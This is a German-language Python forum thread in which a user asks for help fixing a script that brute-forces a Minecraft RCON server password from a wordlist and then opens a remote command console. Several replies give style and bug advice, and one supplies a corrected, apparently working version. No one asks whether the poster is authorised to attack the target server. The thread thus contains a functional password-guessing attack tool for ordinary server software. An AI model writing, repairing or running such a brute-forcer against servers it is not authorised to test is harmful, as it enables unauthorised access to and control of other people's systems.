Passwordlist abfragen bis der login klappt (Bruteforce) - Hilfe beim Code

Wenn du dir nicht sicher bist, in welchem der anderen Foren du die Frage stellen sollst, dann bist du hier im Forum für allgemeine Fragen sicher richtig.
Antworten
melonehier
User
Beiträge: 1
Registriert: Montag 24. Februar 2020, 16:41

Montag 24. Februar 2020, 16:47

Ich kann mich normal einloggen, aber das mit dem Brute Forcen bekomme ich nicht hin..
Mein Fehler liegt in diesem Bereich irgendwo: "for password in passwordlist:"

Kann mir jemand helfen? :ugeek:

Das ist mein Code:

Code: Alles auswählen

from __future__ import print_function
import argparse
import socket
import mcrcon


# python 2 compatibility
try:
    input = raw_input
except NameError:
    pass



def main():
		# Parse arguments
		parser = argparse.ArgumentParser()
		parser.add_argument("host")
		parser.add_argument("port", type=int)
		parser.add_argument("passwordlist")
		args = parser.parse_args()	
	
		# Connect
		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		sock.connect((args.host, args.port))
	
		# read password file
		passwordlist = open(args.passwordlist, "r")
	
		for password in passwordlist:
			try:
				# Log in
				result = mcrcon.login(sock, password)
				if result:
					print("Correct Password is %s" % password)
				if not result:
					print("Incorrect rcon password")
			
				# Start looping
				while True:
					request = input()
					response = mcrcon.command(sock, request)
					print(response)
			finally:
				sock.close()

if __name__ == '__main__':
    main()
__deets__
User
Beiträge: 8121
Registriert: Mittwoch 14. Oktober 2015, 14:29

Montag 24. Februar 2020, 17:05

Was heisst 'liegt irgendwo'? Hast du eine konkrete Fehlermeldung? Wenn ja, wie lautet die? Wenn nicht, was passiert oder passiert nicht?
Sirius3
User
Beiträge: 12008
Registriert: Sonntag 21. Oktober 2012, 17:20

Montag 24. Februar 2020, 17:11

@melonehier: Kompatibilität zu Python2 sollte man eigentlich nicht mehr brauchen. Eingerückt wird immer mit 4 Leerzeichen pro Ebene, nicht 1-2 Tabs.
Wenn man eine if-Bedingung (result) hat und danach ein if mit der exakt gegenteiligen Bedingung (not result), dann benutzt man else.
Wenn diese rcon-Passwort falsch ist, sollte man ja nicht in den request-response-Loop einsteigen.
`passwordlist` wird nie geschlossen, daher sollte man das with-Statement benutzen. Der Socket sock ist nach dem ersten Versuch geschlossen, da wird dann ein zweiter auch definitiv fehlschlagen.
Was ist denn dieses mcrcon?
Benutzeravatar
/me
User
Beiträge: 3362
Registriert: Donnerstag 25. Juni 2009, 14:40
Wohnort: Bonn

Montag 24. Februar 2020, 17:35

`password` ist vermutlich nicht der Text den du dir vorstellst. Oder erwartest du einen Zeilenumbruch (\n) am Ende des Passworts?
Benutzeravatar
__blackjack__
User
Beiträge: 6046
Registriert: Samstag 2. Juni 2018, 10:21
Wohnort: 127.0.0.1
Kontaktdaten:

Donnerstag 27. Februar 2020, 01:23

@melonehier: Weitere Anmerkungen: Die Kommentare bieten dem Leser keinen Mehrwert. Faustregel: Kommentare beschreiben nicht *was* der Code macht, denn das steht da ja bereits als Code, sondern warum er das so macht, sofern das nicht offensichtlich ist.

Das ``try``/``finally`` für das Socket-Objekt kommt zu spät, das sollte ab dem erstellen des Objekts greifen. Und Socket-Objekte sind genau wie Dateiobjekte Kontextmanager, also mit ``with`` verwendbar.

Textdateien sollte man immer explizit mit einer Kodierungsangabe öffnen.

`passwordlist` ist irreführend weil das gar keine Liste ist sondern ein Dateiobjekt, oder ganz allgemein ein iterierbares Objekt das Textzeilen liefert. `passwords` wäre also ausreichend und passender.

Den ``%``-Operator zur Zeichenkettenformatierung würde ich nicht mehr verwenden. Es gibt die `format()`-Methode und ab Python 3.6 f-Zeichenkettenliterale.

Wenn das passende Passwort gefunden wurde kann man die Schleife die das Passwort sucht abbrechen.

Ungetestet:

Code: Alles auswählen

#!/usr/bin/env python3
import argparse
import socket

import mcrcon


def main():
    try:
        parser = argparse.ArgumentParser()
        parser.add_argument("host")
        parser.add_argument("port", type=int)
        parser.add_argument("passwords_filename")
        options = parser.parse_args()
        with socket.socket() as sock:
            sock.connect((options.host, options.port))
            with open(
                options.passwords_filename, "r", encoding="ascii"
            ) as passwords:
                for password in passwords:
                    if mcrcon.login(sock, password.strip()):
                        print(f"Correct Password is {password}")
                        break
                else:
                    print("No password worked.")
                    return

            while True:
                print(mcrcon.command(sock, input()))
    except KeyboardInterrupt:
        pass  # Ctrl+C


if __name__ == "__main__":
    main()
Das recht versteckte `main()`-beendende ``return`` wäre für sich schon ein Grund die `main()` sinnvoll auf Funktionen aufzuteilen.
long long ago; /* in a galaxy far far away */
Antworten